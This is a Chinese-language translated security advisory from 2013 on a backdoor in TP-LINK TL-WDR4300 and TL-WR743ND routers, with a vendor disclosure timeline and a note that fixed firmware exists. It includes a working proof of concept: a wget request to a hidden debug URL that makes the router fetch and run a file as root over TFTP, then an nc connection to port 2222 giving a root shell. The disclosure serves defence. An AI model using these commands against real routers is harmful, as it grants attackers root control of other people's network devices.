近日，TP-LINK多款路由被发现存在固件问题，这允许用户打开路由器中一个链接，并以root执行一个HTTP请求。

请注意，本文仅用于研究目的！

后门论证

root@secu:~# nc 192.168.0.1 2222

(UNKNOWN) [192.168.0.1] 2222 (?) : Connection refused

root@secu:~# wget http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html                                                                                                                       –2013-03-09 23:22:31–  http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html

Connecting to 192.168.0.1:80… connected.

HTTP request sent, awaiting response… 200 OK

Length: unspecified [text/html]

Saving to: “start_art.html”

[ <=>                                   ] 426         –.-K/s   in 0s

2013-03-09 23:22:33 (49.1 MB/s) – “start_art.html” saved [426]

root@secu:~# nc 192.168.0.1 2222

ps

PID  Uid     VmSize Stat Command

1 root        404 S   init

2 root            SW< [kthreadd]

3 root            SW< [ksoftirqd/0]

4 root            SW< [events/0]

5 root            SW< [khelper]

6 root            SW< [async/mgr]

7 root            SW< [kblockd/0]

8 root            SW  [pdflush]

9 root            SW  [pdflush]

10 root            SW< [kswapd0]

17 root            SW< [mtdblockd]

18 root            SW< [unlzma/0]

71 root       2768 S   /usr/bin/httpd

76 root        380 S   /sbin/getty ttyS0 115200

78 root        208 S   ipcserver

82 root       2768 S   /usr/bin/httpd

83 root       2768 S   /usr/bin/httpd

86 root        732 S   ushare -d -x -f /tmp/ushare.conf

92 root        348 S   syslogd -C -l 7

96 root        292 S   klogd

101 root            SW< [napt_ct_scan]

246 root        348 S   /sbin/udhcpc -h TL-WDR4300 -i eth0.2 -p /tmp/wr841n/u

247 root        204 S   /sbin/udhcpc -h TL-WDR4300 -i eth0.2 -p /tmp/wr841n/u

251 root        364 S   /usr/sbin/udhcpd /tmp/wr841n/udhcpd.conf

286 root       2768 S   /usr/bin/httpd

299 root       2768 S   /usr/bin/httpd

300 root       2768 S   /usr/bin/httpd

305 root       2768 S   /usr/bin/httpd

307 root       2768 S   /usr/bin/httpd

309 root       2768 S   /usr/bin/httpd

310 root       2768 S   /usr/bin/httpd

389 root       2768 S   /usr/bin/httpd

细节

当打开如下页面时：

http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html

路由会从主机下载一个文件（nart.out），并会以root执行。

直接打开时，如果成功触发，将会导致路由掉线。

有关于主机发送HTTP请求的抓包：

当Wireshark设置过滤器以显示路由TFTP流量时如上图所示。

nart.out TFTP请求如上图所示。

影响型号

TL-WDR4300

TL-WR743ND（V1.2，V2.0）

BUG追踪历史

2013年2月12日：通知厂商 —- 无响应

2013年2月22日：再次通知厂商 —- 无响应

2013年3月12日：公布漏洞细节

2013年3月14日：与TP-LINK波兰办事处获得联络，要求发送进一步细节信息，PoC论证发送。

2013年3月15日：漏洞已确认。是由WAN口远程管理admin引发的。

WIFIBETA安全更新：TP-LINK已发布更新固件解决问题，请到TP-LINK官网获取适用于您路由的新固件并更新以修复该漏洞。

本站转载并翻译自此文，详细信息请查看这里。请仅用于研究学习目的。